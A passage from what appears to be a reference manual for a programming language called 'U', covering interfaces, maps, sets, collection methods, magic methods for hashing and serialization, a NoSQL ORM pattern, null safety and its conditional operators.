       ! shape.base * shape.height / 2

// as a guard condition
shape :: Shape.Circle & draw_circle(shape.radius)
07.6Types

Interfaces & Abstract Methods — !

A class with only method signatures and no fields is an interface — the compiler infers this from the structure, no ! marker needed. Comma-separated parents in d Foo : A, B, C can mix one parent class (has state) with multiple interfaces (pure signatures). If more than one parent has state, it's a compile error. Append ! to an individual method for an abstract method in a partial abstract class.

Rules:
d Foo with only signatures → compiler infers it's an interface. No ! marker needed.
d Bar : Parent, Iface1, Iface2 — comma-separated. At most one can have state (the parent class).
f method()! — abstract method in a partial class (has some concrete methods too).
Interface methods are always instance methods — +G not allowed.
No properties in interfaces — only method signatures.
Add a field to an interface → it becomes a class → downstream multi-parent usages break (correct: adding state is a breaking change).
Uinterfaces.u
// Pure interface — all methods abstract
d Drawable!
    f draw(ctx: Context)        // abstract — no body
    f bounds() -> Rect            // abstract — no body

// Partial abstract class — some concrete, some abstract
d Animal
    f speak()!                   // abstract — subclass must implement
    f breathe()                  // concrete — inherited as-is
        t.lungs.cycle()

// Concrete implementation
d Circle : Drawable
    radius: N
    f draw(ctx: Context)
        ctx.draw_circle(t.center, t.radius)
    f bounds() -> Rect
        r => Rect( x: t.center.x - t.radius, y: t.center.y - t.radius,
                    width: t.radius*2, height: t.radius*2 )

// Type test works for interfaces
shape: Drawable = Circle( radius: 5.0 )
shape :: Drawable   // L true
shape :: Circle     // L true — concrete type also works

// Static interface methods: not allowed — interfaces are for instances
// Use type hierarchies for static polymorphism instead:
d Shape.Circle : Shape
    f create(radius: N) -> Shape.Circle   // static — called as Shape.Circle.create(5.0)
        r => Shape.Circle( radius )

Untyped parameters — not allowed

Every parameter must have a type annotation. f process(data) is a compile error. No untyped escape hatch — the type system has no any. Use interfaces or class hierarchies for polymorphism, __unpack__ for external data.

Utyped-params.u
f good(data: [N32+V])          // ✓ typed

// f bad(data)  ← ✗ compile error: no type annotation
f fetch(url: S, { timeout: I = 30, verbose: L = false })
// { timeout }  ← ✗ compile error: missing type in named param
08Ergonomics

Maps — {K: V}

When the shape of data is known at compile time, use a typed class. When keys are determined at runtime — JSON payloads, plugin config, metadata — use a {K: V} map.

In v1, arrays [T] and maps {K: V} are the only parameterized types. No full generics yet, but these two cover most needs. Maps accept all modifier annotations and have the same iteration methods as arrays. Iteration order is guaranteed to be insertion order — this is a language guarantee, not an implementation detail. Map iteration handlers receive (key, value) pairs.

Key types. Any type can be a map key if it supports hash and equality. Primitives (S, I, N, L) work automatically. For classes, implement f __hash__() -> I and f __equals__(other) -> L — these make any class usable as a map key. Override both or neither — the compiler enforces this. If you declare {MyClass: V} on a class with __equals__ but no __hash__, it is a type error.
Umaps.u
// Map literal — runtime key-value store
meta: {S: V} = { "author": "Alice", "version": 3 }

// Any comparable type as key
user_by_id:  {I: User}    = {}   // integer keys
by_point:   {Point: I}   = {}   // class key — Point must implement hash() and ==

// Dynamic access — returns +N (key may not exist)
author:  S+N = meta["author"]
version: I    = meta["version"] ?? 1
"author" in meta   // L — O(1) membership

// Modifiers — same as classes
ro_config:  {S: S}+R-M         = load_config()   // shared immutable
live_state: {S: V}+R+M(MVCC) = {}            // shared mutable + MVCC

// Class as key — implement hash() and ==
d Point
    x: I, y: I
    f __hash__() -> I              => (t.x * 31 + t.y) * 31
    f __equals__(other: Point) -> L => t.x == other.x & t.y == other.y

grid: {Point: S} = {}   // works because Point has __hash__ and __equals__
grid[Point( x: 0, y: 0 )] = "origin"

Map iteration — same methods as arrays

All map iteration receives (key, val) pairs. Three-signal convention: none = include/continue, false = skip, true = stop.

Umap-iteration.u
// .on() — side effects
meta.on((key, val) => log("{key}: {val}"))

// .filter() — returns new Map
strings = meta.filter((key, val) => val :: S ? none ! false)

// .map() — transform values, keys preserved
upper = meta.map((key, val) => val :: S ? val.uppercase() ! val)

// .find() — returns (K, V) +N
hit: (key: S, val: Any)+N = meta.find((key, val) => val == target ? none ! false)

// .reduce() — fold
total = prices.reduce((acc, val, key) => acc + val, 0.0)

// Promise-aware: .all() and .any() work on {K: V +A} maps
fetching: {S: Response+A} = endpoints.map((key, url) => a fetch(url))
results:  {S: Response}   = fetching.all()   // await all, same keys preserved
first:    Response+N+A  = fetching.any()   // first to resolve

Sets — {K}

A set is a collection of unique keys with no associated values. A key is either present or absent — there is no "present but false" state. Sets have their own type {K}, distinct from the map {K: V}.

Collection literals — type-directed disambiguation. {foo, bar} without colons has two meanings, and the target type resolves which one:

  • Target type is {T} (Set) → set construction: admins: {S} = {"alice", "bob"}
  • Target type is {K:V} (Map), or no annotation → property shorthand: {name, age} = {name: name, age: age}
  • {} → empty set if target is {T}, otherwise empty map (the default). config = {} is always an empty map.
  • Spread: {...base, extra: val} constructs a new map. [...arr1, ...arr2] concatenates arrays.
  • Patch: obj << {key: val} mutates an existing object (requires +M, customizable via __patch__).
  • Function parameters propagate their type to the call site: f process(items: {S})process({a, b}) builds a set.

Constructors — the one explicit form. When the type-directed rule isn't enough (overloaded call sites, complex expressions), use the constructor: Set([a, b]), Map(entries), Array(set). These take a collection and convert it. Chaining sugar .to_set() / .to_array() / .to_map() calls the same constructors — useful in pipelines (items.filter(pred).to_set()).

Typed-local disambiguation. When overloads differ only by element type, a typed local resolves the ambiguity — no cast syntax or type annotation at the call site needed:

f render(shapes: {Shape}) -> Html
f render(colors: {Color}) -> Html

circle: Shape + Color = ...
shapes: {Shape} = {circle}     // typed local → unambiguous
render(shapes)                   // calls the {Shape} overload

// Same pattern for arrays, maps, and initial values of
// constant-size or multidimensional arrays: construct locally
// with the correct type, then pass or assign.

The compiler always knows whether it is in set or map context because U has type annotations at declaration sites. No ambiguity, no prefix tokens, no special empty-collection syntax.

Type annotations vs value literals. The compact type notation uses the same brackets but in type position (after :): [S] = List of strings, {S} = Set of strings, {S: I} = Map from strings to ints. These nest: {S: [I]} = Map from strings to lists of ints. No ambiguity — the parser always knows whether it's in type position or value position. The full generic forms List[S], Set[S], Map[S, I] are also valid. Use :: to test against the base type: val :: List matches any list regardless of element type; val :: [I] matches specifically a list of integers.

Sets are +M by default. A -M set must be initialized with already-constructed keys.

MethodReturnsNotes
.has(val)LO(1) membership check.
.insert(val)Ltrue if inserted (was absent), false if already present. Requires +M.
.delete(val)Ltrue if deleted (was present), false if absent. Requires +M.
.union(other){K}New set with all keys from both.
.intersection(other){K}New set with keys in both.
.difference(other){K}New set with keys in self but not other.
.filter(fn){K}Returns a set.
.map(fn)[T]Returns a list (mapped values may not be unique).
.to_array()[K]Order unspecified.
.lengthIElement count (property).
.is_empty()LSugar for s.length == 0.
Usets.u
// Type and construction
admins: {S} = {"alice", "bob"}       // target type {S} → set construction
empty_map: {S: I} = {}               // {} = empty map
empty_set: {S} = {}                      // target type {S} → empty set
empty_map = {}                            // no type annotation → empty map
payload = {...fields, name, age}          // spread + property shorthand → map
config: {S:S} = {host, port}            // target {S:S} → property shorthand
frozen: {S}-M = { "x", "y" }          // immutable — initialized upfront

// Membership — O(1)
admins.has("alice")      // true
"carol" in admins        // false

// Mutation

admins.delete("bob")       // true — bob was present, now removed
admins.insert("dave")     // true — dave added (was absent)
admins.insert("alice")    // false — already in set

// Set operations — return a new set
editors: {S} = { "bob", "carol" }
admins.union(editors)         // { "alice", "bob", "carol" }
admins.intersection(editors)  // { "bob" }
admins.difference(editors)    // { "alice" }

// Iteration and conversion
admins.on((key: S) => notify(key))
admins.map(k => k.upper())    // returns [S] — mapped values may not be unique
admins.filter(k => k.length > 3)  // returns {S}
["a","b","a"].to_set()         // {S} — deduplicates
admins.to_array()               // [S] — order unspecified

// Map × set — filter by key membership
scores: {S: N} = { "alice": 9.8, "bob": 7.4 }
scores.filter_keys(admins)      // {S:N} — only keys in admins

Array ↔ Set interoperability

Lists and sets share the iteration protocol — .on(), .map(), .filter(), .reduce() work on both. The result type follows the source: .filter() on a set returns a set; .map() always returns a list (mapped values may not be unique). Explicit conversion where needed; no implicit coercion.

Usetarray.u
// .filter() — result type follows source
admins.filter(k => k.length > 3)   // {S} — still a set
names.filter(n => n.length > 3)    // [S] — still an array

// .map() — always returns array
admins.map(k => k.upper())          // [S] — not a set
admins.map(k => k.upper()).to_set()   // {S} — if you want dedup

// Explicit conversion
tags = ["a","b","a"].to_set()      // {S} — deduplicates
arr  = admins.to_array()             // [S] — order unspecified
sorted = admins.to_array().sort()    // [S] sorted — go via array

// No implicit coercion
// f process(items: [S]) does NOT accept {S} directly
// process(admins.to_array())  ← explicit, always

Map iteration — (key, value) pairs, insertion order guaranteed

Umap-iteration.u
scores: {S: N} = { "alice": 9.8, "bob": 7.4, "carol": 8.1 }

// .on() — iterate (key, value) in insertion order
scores.on((score, name) => print(name + ": " + score.__string__()))  // value first
// alice: 9.8 / bob: 7.4 / carol: 8.1 — guaranteed order

// .map() — transform values, key passed through
grades: {S: S} = scores.map((score, name) => score >= 9.0 ? "A" ! "B")

// .filter() — keep entries where predicate holds
top_scores: {S: N} = scores.filter((score, name) => score >= 9.0 ? none ! false)

// .all() / .any() — synchronous predicates
all_passed: L = scores.all((score, name) => score >= 5.0)   // true
any_honours: L = scores.any((score, name) => score >= 9.5)  // false

// .reduce() — fold over entries
total: N = scores.reduce((acc, score, name) => acc + score, 0.0)

// .find() — first matching entry, returns value+N
winner: N+N = scores.find((score, name) => score >= 9.0 ? none ! false)

// .keys() / .values() / .items() — explicit projection
names:   [S]        = scores.keys()     // [S] in insertion order
vals:    [N]        = scores.values()   // [N] in insertion order
pairs:   [[S, N]]  = scores.items()  // [[key, value], ...] in insertion order
Insertion order is a language guarantee. { "a": 1, "b": 2 } always iterates a first, b second — in literals, after insertions, after mutations. The compiler implements maps as ordered hash maps. This guarantee makes map iteration testable and predictable.

Why Symbol, WeakMap, and a separate Map type are unnecessary

JS conceptWhy it exists in JSU equivalent
MapObjects only allow string keys; Map allows any type{K: V} with any key type — it IS the map
WeakMapAttach metadata without preventing GC collectionARC: objects have deterministic lifetimes. Weak refs if needed are a modifier, not a separate collection type.
SymbolUnique non-string keys, private properties, protocol hooksType system (uniqueness), class visibility (privacy), .on() protocol (iteration hooks)
SetUnique-value collection with O(1) membership{K} — first-class set type. .insert()/.delete() return L. Type-directed: items: {S} = {"a", "b"} constructs a set because the target type is {S}. Without a Set type annotation, {"a", "b"} is property shorthand. Explicit constructor: Set([a, b]). Chaining: [a, b].to_set(). {S} is sugar for Set[S].
Generics in v1: [T] and {K: V}. These are the only parameterized types — and they compose.

Multidimensional arrays — all or nothing. [[T]] is a matrix (2D contiguous block). [[[T]]] is a rank-3 tensor. Arbitrary rank by nesting brackets — no new mechanism, no rank parameters. No modifiers go between brackets: inner brackets are stride dimensions, not separate allocations. [[I]]-M(2,8) fixes dimensions. +V on the outside hints SIMD. +R(GPU) puts the whole block on GPU.

If you need a growable outer list of independently-sized inner lists, define a class holding a [I]+M property — it almost certainly needs methods anyway. There is no [[I]+M] syntax; inner modifiers require +R on the inner type: [[I]+R+M]+M = jagged list (list of ARC pointers to independently-allocated rows).

Array elements are always packed (-R by default). [Foo] stores Foo structs contiguously like a C array of structs. [Foo+R] stores ARC pointers contiguously. Foo's internal collection fields are still +R (pointer-sized), so [Foo] is a block of fixed-size structs regardless of what Foo contains internally.

Map value storage. Scalar and class values are -R by default (inline in slot). Collection values ([], {K:V}, {K}) are +R by default (ARC pointer in slot) — mutation through subscript requires a stable reference that survives reallocation.

Set keys must be hashable. Mutable collections (+M) cannot be set keys — their hash changes with content. Scalar and -M collection keys are stored inline.

08.2Strings

String Methods — S

Strings are immutable by default (-M). All methods return a new string. Indexing is 1-based.

MethodReturnsNotes
.lengthICharacter count (property).
.upper()SUppercase. "hello".upper()"HELLO".
.lower()SLowercase.
.strip()SStrip whitespace both ends.
.trim_start()SStrip leading whitespace.
.trim_end()SStrip trailing whitespace.
.split(sep: S)[S]Split on separator.
.chars()[S]Split into individual characters.
.bytes()[I]UTF-8 byte values.
.slice(start, end?)SSubstring. 1-based inclusive.
.starts_with(pre)LPrefix check.
.ends_with(suf)LSuffix check.
.has(sub)LSubstring search.
.index_of(sub)I+NFirst position or none.
.replace(from, to)SReplace first occurrence.
.replace_all(from, to)SReplace all occurrences.
.repeat(n)S"ab".repeat(3)"ababab".
.pad_start(n, ch?)SPad to length n on the left.
.pad_end(n, ch?)SPad to length n on the right.
.to_i()I+NParse to integer. none if invalid.
.to_n()N+NParse to float. none if invalid.
.is_empty()LSugar for s.length == 0.
.__string__()SCalled by compiler for interpolation. Override on any class.
Ustrings.u
name = "  Hello, World!  "
name.strip().lower()                // "hello, world!"
name.strip().upper()                // "HELLO, WORLD!"
"a,b,c".split(",")               // ["a", "b", "c"]
url.starts_with("https")           // true
url.index_of("api")                // I+N — 1-based position
"7".pad_start(3, "0")              // "007"
"42".to_i()                         // 42
"abc".to_i()                        // none
msg = "Found {count} items"         // interpolation calls .__string__()
08.3Maps

Map Methods — {K: V}

Empty literal: {} — type-directed. s: {S} = {} is an empty set. m: {S:I} = {} or bare m = {} is an empty map. The default (no type annotation) is always map — JS developers can write config = {} without tripping.

MethodReturnsNotes
.lengthINumber of entries (property).
.has(key)LO(1) existence. Distinguishes "key missing" from "key exists with value none" for {K: V+N} maps.
map[key]V+NReturns value or none if key absent — never throws.
.get(key)V+NIdentical to map[key].
.set(key, val)Set entry. Requires +M.
.insert(key, val)LSet only if key absent. Returns true if inserted. Replaces map[key] ?? map.set(key, val).
.delete(key)LRemove entry. Returns true if deleted, false if key was absent.
.pop(key)V+NRemove and return the value. none if key absent. map.pop(k) ?? default is the idiomatic fallback for non-nullable value maps.
.pop(key, default)VRemove and return the value if present, default if absent — never +N. Necessary for {S: V+N} maps where ?? cannot distinguish absent from null-valued.
.keys()[K]All keys in insertion order.
.values()[V]All values in insertion order.
.items()[[K,V]]Key-value pairs.
.on(fn)Iterate. Passes (value, key) — value first.
.map(fn){K:U}Transform values, same keys.
.map_keys(fn){U:V}Transform keys, same values.
.filter(fn){K:V}Filter entries. Handler receives (value, key).
.find(fn)V+NFirst value matching predicate.
.reduce(fn, init)UFold: (acc, val, key) => new_acc.
.merge(other){K:V}Merge two maps. Right wins on conflict.
.filter_keys(set){K:V}Keep only entries whose key is in a {K} set.
.is_empty()LSugar for map.length == 0.
Umaps.u
scores: {S: N} = { "alice": 9.8, "bob": 7.4 }
scores.has("alice")                  // true — O(1)
scores["alice"]                       // 9.8 — V+N, never throws
scores["dave"]                        // none — key absent
scores.insert("dave", 8.5)            // true — inserted
scores.insert("alice", 0.0)           // false — alice unchanged
doubled = scores.map(v => v * 2)      // {S:N} — same keys
top = scores.filter(v => v >= 9.0)   // {S:N}
defaults.merge(config)               // right wins on conflict
empty: {S: I} = {}                   // {} = empty map
val  = scores.pop("alice")              // N+N — 9.8, removed
val  = scores.pop("alice") ?? 0.0       // N   — 0.0 if absent (non-nullable maps)
val2 = scores.pop("alice", 0.0)         // N   — 0.0 if absent, regardless of stored null
11.2Arrays

Array Methods — Complete Reference

All structural mutation methods require +M. Non-mutating methods return a new value. Indexing is 1-based.

MethodReturnsNotes
.append(val)Append. Requires +M.
.pop()T+NRemove and return last. Requires +M. none if empty.
.shift()T+NRemove and return first. Requires +M.
.unshift(val)Prepend. Requires +M.
.concat(other)[T]Join two arrays. Non-mutating.
.join(sep)S["a","b"].join(",")"a,b".
.flatten()[T]Flatten one level. [[1,2],[3]].flatten()[1,2,3].
.index_of(val)I+NFirst index (1-based) or none.
.has(val)LO(n) linear scan — explicit by design. Use {K} set for O(1).
.first()T+NFirst element. Sugar for arr[1].
.take(n)[T]First n elements.
.drop(n)[T]Skip first n elements.
.chunk(n)[[T]]Split into groups of n.
.reverse()[T]Reversed copy. Non-mutating.
.unique()[T]Remove duplicates, preserve first occurrence.
.to_set(){T}Convert to set — deduplicates.
.sum(fn?)NSum. Optional key: .sum(u => u.score).
.min(fn?)T+NMinimum. Optional key. none if empty.
.max(fn?)T+NMaximum. Optional key. none if empty.
.zip(other, fn)[U]Pair-wise combine. Callback IS the loop body — no tuple, no unpack. Stops at shorter array.
[[T]].transpose()[[T]]Matrix transpose. Its own inverse. Replaces Python's zip(*matrix).
.is_empty()LSugar for arr.length == 0.
.lengthIElement count (property).
Uarray_extra.u
nums: [I] = [1, 2, 3]
nums.append(4)                        // [1,2,3,4]
nums.pop()                           // returns 4
[1,2].concat([3,4])               // [1,2,3,4]
["a","b"].join(", ")               // "a, b"
[[1,2],[3]].flatten()                  // [1,2,3]
[1..10].take(3)                     // [1,2,3]
[1..10].drop(7)                     // [8,9,10]
[1..6].chunk(2)                     // [[1,2],[3,4],[5,6]]
[3,1,4].reverse()                   // [4,1,3]
orders.sum(o => o.amount)          // N
users.min(u => u.age)              // User+N
[1,2,3].zip([4,5,6], (a,b) => a+b)  // [5,7,9]
names.has("alice")             // L — O(n), use {S} for O(1)
[1,2,2,3].unique()                  // [1,2,3]
[1,2,2].to_set()                     // {1,2}
08.5Protocol

Magic Methods

Thirteen double-underscore methods form the v1 protocol (six protocol + seven operator). The compiler recognises them by name and calls them automatically.

MethodSignatureCalled whenConstraint
__setup__f __setup__({...})Object created via ClassName(...). If absent, compiler auto-generates one from declared fields.No auto-super. Call parent explicitly: Bar.__setup__(args)t passed implicitly.
__hash__() -> IObject used as map key — bucket placementMust be consistent with __equals__: if a.__equals__(b) then a.__hash__() == b.__hash__()
__equals__(other: T) -> La == b operator; map key collision resolutionMust be consistent with __hash__. Override both or neither.
__pack__(): {S: JsonValue}Object → plain data for encoding — format-agnostic. Called by Json.encode(), Protobuf encoders, etc. Auto-generated by the compiler from field declarations (like Python's @dataclass or Obj-C's @synthesize) — override only for custom field names or transformations.Should round-trip with __unpack__
__unpack__(data: {S: JsonValue}) -> TReconstruct object from plain data — z f (class method). Called by Json.decode() etc. Auto-generated by the compiler from field declarations — recurses into nested types automatically (Address.__unpack__() called when a field type is Address). Override for custom key names or value transformations. FactoryDefined inside the class; compiler treats it as static. Should round-trip with __pack__.
__merge__(base: T, theirs: T) -> TMVCC conflict resolution — two coroutines write same objectbase = common ancestor, t = your changes, theirs = other coroutine's commit. Without it: last write per subtree wins. +M(CRDT) = MVCC with commutative idempotent __merge__.
__add__f __add__(other: T) -> Ta + bAlso __sub__ __mul__ __div__ for - * /. Arithmetic operators.
__neg__f __neg__() -> TUnary -aNegation.
__abs__f __abs__() -> TUnary +aAbsolute value. Symmetric with __neg__. For C64: element-wise abs of components; .magnitude() returns the modulus as N.
__matmul__f __matmul__(other: T) -> TA @ BMatrix multiplication. ^ (power) is built-in — no magic method needed.
Default behaviour. Classes that define neither __hash__ nor __equals__ get structural defaults: all fields compared for equality, hash derived from all fields. This means any class can be used as a map key without writing anything — override only when you need a subset of fields to determine identity.
Serialization synthesis — everything composes.

Every class gets __pack__ and __unpack__ auto-generated from its field declarations — no annotations, no boilerplate, like Python's @dataclass or Obj-C's @synthesize but always on. The compiler recurses into nested types and handles +R fields correctly: a posts: [Post]+R field generates heap-allocated, reference-counted array construction during __unpack__ automatically.

All serialization formats call the same __unpack__ — swap Json for Protobuf or capnproto`Foo/User` and the object hydration is identical. Type mismatches at runtime become checked exceptions the compiler requires callers to handle — not silent crashes, not unhandled panics, but explicit obligations at the call site.

LibraryAnnotations needed+R / refs handledExceptions checkedCompile-time validation
Python jsonManualNoNoNo
Rust serde#[derive]YesNo (Result)No
Python Pydantic@validatorNoRuntime onlyPartial
Kotlin serialization@SerializableN/ANoPartial
UNoneYes — compiler generatesYes — checkedYes — template tags

The combination — zero boilerplate, correct reference semantics, checked exceptions, and compile-time validation via template tags — is unique. Each piece is individually unremarkable; the composition is what makes it serious.

Umagic-methods.u
d User
    id:    I
    name:  S
    email: S

    // Identity by id only — name and email changes don't affect map keys
    f __hash__() -> I            => t.id
    f __equals__(other: User) -> L => t.id == other.id

    // Serialization — round-trips through __unpack__
    f __pack__(): {S: JsonValue}
        r => "{t.id}|{t.name}|{t.email}"

    // Class method (z f) — called as User.__unpack__(data)
    z f __unpack__(data: {S: JsonValue}) -> User
        parts = data.split("|")
        r => User( id: parts[1].to_i(), name: parts[2], email: parts[3] )

// Usage
user_map: {User: Session} = {}      // User as map key — uses __hash__ and __equals__

alice = User( id: 1, name: "Alice", email: "a[at]x.com" )
packed = alice.__pack__()                // { id: 1, name: "Alice", email: "[email protected]" }
back  = User.__unpack__(packed)        // User({ id: 1, name: "Alice", ... })
alice == back                          // true — same id, __equals__ passes


    // Conflict resolution — called when two coroutines write same Config
    f __merge__(base: Config, theirs: Config) -> Config
        Config(
            host: theirs.host,             // theirs wins for host
            port: t.port,                  // keep my port
            flags: t.flags.merge(theirs.flags)  // union flags map
        )

// Default: no magic methods needed for simple value types
d Color { r: I, g: I, b: I }         // structural __hash__ and __equals__ auto-generated
color_count: {Color: I} = {}            // just works
09.1Patterns

NoSQL Document ORM

For NoSQL databases (MongoDB, Firestore, DynamoDB), there is almost no impedance mismatch — documents are JSON, objects are documents, and __pack__/__unpack__ handles serialization for free. The "ORM" layer is just three thin pieces: a collection annotation, CRUD operations, and query building.

Unlike SQL ORM, there is no join problem (documents are self-contained), no N+1 problem (__unpack__ recurses into nested types automatically), and no painful schema migration — add a +N field and old documents return none for it.

Unosql.u
// ── Schema declaration ────────────────────────────────────────
d @doc("users")          // maps to "users" collection
User
    @id id:    S         // document ID
    name:      S
    email:     S
    age:       I+N       // nullable — old docs return none
    tags:      [S]

// ── CRUD ──────────────────────────────────────────────────────
user  = orm.get(User, "abc123")           // User+N
users = orm.find(User, u => u.age > 18)   // [User]
id    = orm.insert(user)                    // calls __pack__() → JSON → db
orm.update(user)                            // calls __pack__() → patch document
orm.delete(User, "abc123")

// ── Pagination and sorting ────────────────────────────────────
page = orm.find(User, u => u.active)
         .sort(u => u.name)
         .skip(20).take(10)

// ── Complex predicates — same > < syntax, no $gt needed ──────
users = orm.find(User, u =>
    u.age > min_age
    and u.tags.has("admin")
    and u.name.starts_with("A")
)
// orm module compiles predicate to db-native query at compile time
// for db-specific operators ($text, $geoNear), use mongodb`` template

// ── Nested documents — __unpack__ recurses automatically ────────
d @doc("orders")
Order
    @id id:    S
    user:      User      // embedded document — User.__unpack__() called automatically
    items:     [Item]   // array of nested objects
    total:     N

order = orm.get(Order, id)   // Order + nested User + [Item] all hydrated in one call
How the orm module works. orm.get(User, id) fetches the raw {S: JsonValue} document and calls User.__unpack__(data) — the same method called by Json.decode, Protobuf.decode, and every other decoder. orm.insert(user) calls user.__pack__() and writes the result. The predicate in orm.find(User, u => u.age > 18) is translated to a database query at compile time by the orm module; complex predicates the compiler cannot translate fall back to a database-specific template module (e.g. mongodb\`\`). __pack__/__unpack__ is the sole serialization mechanism — the ORM adds nothing on top of it for reads and writes.
09Safety

Null Safety

Non-null is the default. +N explicitly opts into nullability. The compiler never emits a null check for -N values — the type proves it unnecessary.

U nudges people away from null footguns. JavaScript's three-way confusion between key missing, key set to undefined, and key set to null — where undefined conflates two states (absent vs explicitly set to undefined) — is a famous source of bugs. U collapses this to two clean concepts: absent (use has()) and none (the single null value). +N on map values and set members is allowed — unstructured data (NoSQL documents, dynamic JSON, schema-less protocols) genuinely needs null-as-value distinct from absent. But the language documents the better patterns: when your schema is known at compile time, typed classes with +N fields, separate structures, or union types are clearer. has() is always the right way to distinguish absent from null-valued.

Map subscript forces handling. dict["key"] always returns V+N. Assigning it to a plain I variable is a compile error — the developer must acknowledge the missing-key case with ??, != none, or a type annotation. This turns Python's runtime KeyError into a compile-time obligation.

Null narrowing. After a == none or != none check, the compiler narrows the type in each branch — no need for explicit guards or re-checking. Similarly, assigning through ?? yields a non-null type.

Optional chaining ?. — safe access on nullable values. If the receiver is none, the entire chain short-circuits to none. The result type is always +N. Works for property access, method calls, and callable invocation (?.())). The chain callback?.()?.foo calls callback if non-null, then accesses .foo on the result if that is also non-null.

Maps vs objects. Optional chaining with ?.foo implies you wanted static structure — use d and declare properties. Maps ({K: V}) are for runtime-dynamic keys and use ["key"] subscript access. If you find yourself wanting map.foo, that is a signal to switch to a class.

+N on map values and set members is allowed — unstructured data genuinely needs it. But when your schema is known, these patterns are clearer:

Unullmap.u
// ⚠ valid but consider alternatives when schema is known
scores:  {S: I+N}      // allowed — but has() already handles absent; +N adds null-as-value
members: {User+N}     // allowed — {K+N} set can contain none as a member
docs:    {S: Json+N}   // ✓ legitimate — NoSQL/dynamic JSON needs null distinct from absent

// ✓ correct designs
enrolled: {S}           // who exists
scores:   {S: I}        // score only set when known

// or union type for explicit states
d Score.Pending   : Score
d Score.Withdrawn : Score
d Score.Value     : Score  { n: I }
scores: {S: Score}      // explicit states, no hidden nulls

// ✓ arrays: +N is fine — slot always exists within bounds
grid    = [User+N]-M(64)    // 64 slots, some occupied, some empty
results = inputs.map(parse)    // [I+N] — some parses failed
valid   = results.filter(r => r != none)  // [I] — compiler narrows
Unull_safety.u
// -N default: can never be null — no check emitted
name:  S = "Alice"         // -N: compiler skips null check entirely
count: I = 42

// +N: may be none — must handle before use
user: User+N = find_user(id)

// Map subscript always returns V+N — forces handling
val = scores["alice"]         // N+N — must handle none
bad: N = scores["alice"]      // ✗ COMPILE ERROR — scores["key"] is N+N not N
ok:  N = scores["alice"] ?? 0.0  // ✓ N — ?? resolves to non-null

// Null narrowing — compiler tracks type through branches
val = scores["alice"]         // val: N+N
val == none
    ? skip()
    ! val * 2                  // ✓ val is N here — compiler narrowed it

val != none
    ? val.round()              // ✓ val is N — non-null branch
    ! 0.0

// ?? coalesce — result type is non-null
display = user?.name ?? "Guest"   // S — non-null (fallback covers none)
port    = config.port ?? 8080

// ?. optional chaining — none propagates through whole chain
city = user?.address?.city         // S+N — none if user or address is none
city_safe = user?.address?.city ?? "unknown"  // S — fallback resolves

// ?.() — call nullable function, then chain further
result = callback?.()              // Result+N — none if callback is none
name   = callback?.()?.foo         // S+N — chain: call if non-null, access .foo if non-null
label  = callback?.()?.foo ?? "n/a" // S — full chain with fallback

// & guard — execute only if non-null
user & send_welcome_email(user)    // runs only if user != none

// Early return on none — clean handler pattern
f handle_login(uid: I) -> Response+N
    user = find_user(uid)
    user ?? r => Response.not_found()  // early return if none
    // user narrowed to User -N here — compiler knows it's safe
    session = create_session(user)
    r => Response.ok(session.token)

// Compile error: cannot dereference +N without handling
bad = user.name    // ✗ COMPILE ERROR — user is +N, must use user?.name or check first
09bDesign

Why & Guards on Truthy, Not Just Non-Null

The & guard short-circuits on any falsy value — none, false, 0, "", [] — the same as JS &&. It would be possible to add a second operator that guards on non-null specifically, distinct from truthiness. U deliberately does not.

Cost should match rarity, not the reverse. The overwhelming majority of "did I get something usable back" checks are naturally satisfied by truthiness — an empty string, empty array, or zero from a query genuinely means "nothing useful happened," and treating them like none is correct behavior, not a shortcut. The rare case — a function that returns false as meaningful data, where you must distinguish it from none — deserves to look rare in the source, not cheap. Adding a dedicated low-cost operator for the rare case would invert this: common code stays terse, but the reader loses the visual signal that something unusual is happening.
Uguard-vs-nullcheck.u
// Common case — & is correct and cheap:
(item = cache.get(key)) & item.render()
// empty string, empty array, 0 from get() → correctly treated as "nothing"

// Rare case — false is meaningful data, not absence:
(granted = check_permission(user)) != none & grant(granted)
// explicit, slightly longer — signals "this function can return false as real data"

No dedicated operator exists for the non-null-specific guard. != none & composes fully from existing primitives, is unambiguous to read, and its extra length is the point — it marks the call site as one where the author specifically considered and rejected truthy-coercion. Introducing new syntax here would optimize for keystrokes at the cost of that signal.

10Control Flow

Conditionals — ?! & | ?? :

No if, no else, no switch, no match. Five operators handle all conditional logic.

OperatorSemanticsUse case
cond ? a ! bif cond then a else b — cond must be LTernary / if-else. ? = "yes", ! = "not"
expr :: Typetrue if expr is-a Type — returns LType test, dispatch
a & ba: T+N → guard: run b if non-null, return T+N.
a: L, b: L → logical AND: returns L. Same operator, type disambiguates.
Guard / logical AND
a | bFirst truthy/non-null value — any type.
a: L, b: L → logical OR (fallback fires on false).
Fallback / logical OR
a ?? bb if a is none, else a — any +N typeNull coalesce

Operator precedence

From lowest to highest binding power:

PrecedenceOperatorsNotes
1 — lowest=Assignment. Right side evaluated first.
2? ! | && ?? r =>Conditional, fallback, null-coalesce, return. a = b ? foo means a = (b ? foo).
3&Guard (short-circuit). a = b & foo means a = (b & foo).
4== != < > <= >=Comparison. a == b ? foo means (a == b) ? foo — comparison binds tighter than ?.
5+ - ++ ~+Additive.
6* / // %Multiplicative.
7^ ~^ ~& ~|Power and bitwise.
8 — highest. () []Member access, call, index.
& has higher precedence than ? and ! but lower than comparisons — so a > 0 & f() means (a > 0) & f(), and a & b ? c ! d means a & (b ? c ! d).
= is assignment, == is equality — and the condition type rule closes the classic typo. Because the condition of ?/?! and the left operand of & must be type L, writing = where == was meant is a compile error whenever the assigned value is not L — which is nearly always (x = 5 ? … is I, not L: error). The one residual corner is assigning an actual L in condition position (flag = ready ? … typechecks); U closes it with a warning: a bare assignment expression in condition position warns even when its result is L, and the intent is expressed with == or by lifting the assignment out. So the C-family if (x = y) bug is an error in the common case and a warning in the only case the types cannot distinguish.
? and ! are a natural pair. The ternary reads "is it? yes: … not: …". Type tests are expr :: Type — a call, not an operator, since a type test is a runtime check (a variable's static type may be a base type while its runtime value is a more specific subtype), and a call makes that explicit rather than implying something a compiler might resolve for free.
Uconditionals.u
// Syntax rules: ? and ! at condition indent level
// Arbitrary spaces after ? or ! to align. Continuations indented.

// Inline
label = count > 1 ? "items" ! "item"

// Multi-line block — last expr in each branch is the value
greeting = time < 12
? name = user.first_name
    "Good morning, " + name      // indented → still in ? branch
! name = user.nickname | user.first_name
    "Good afternoon, " + name    // indented → still in ! branch

// Nested
status = user != none
?   user.active
    ?   "active user"
    !   "inactive user"
!   "no user"

// Switch-like: ! at condition level, spaces after ! for alignment
grade = score >= 90 ? "A"
!       score >= 80 ? "B"
!       score >= 70 ? "C"
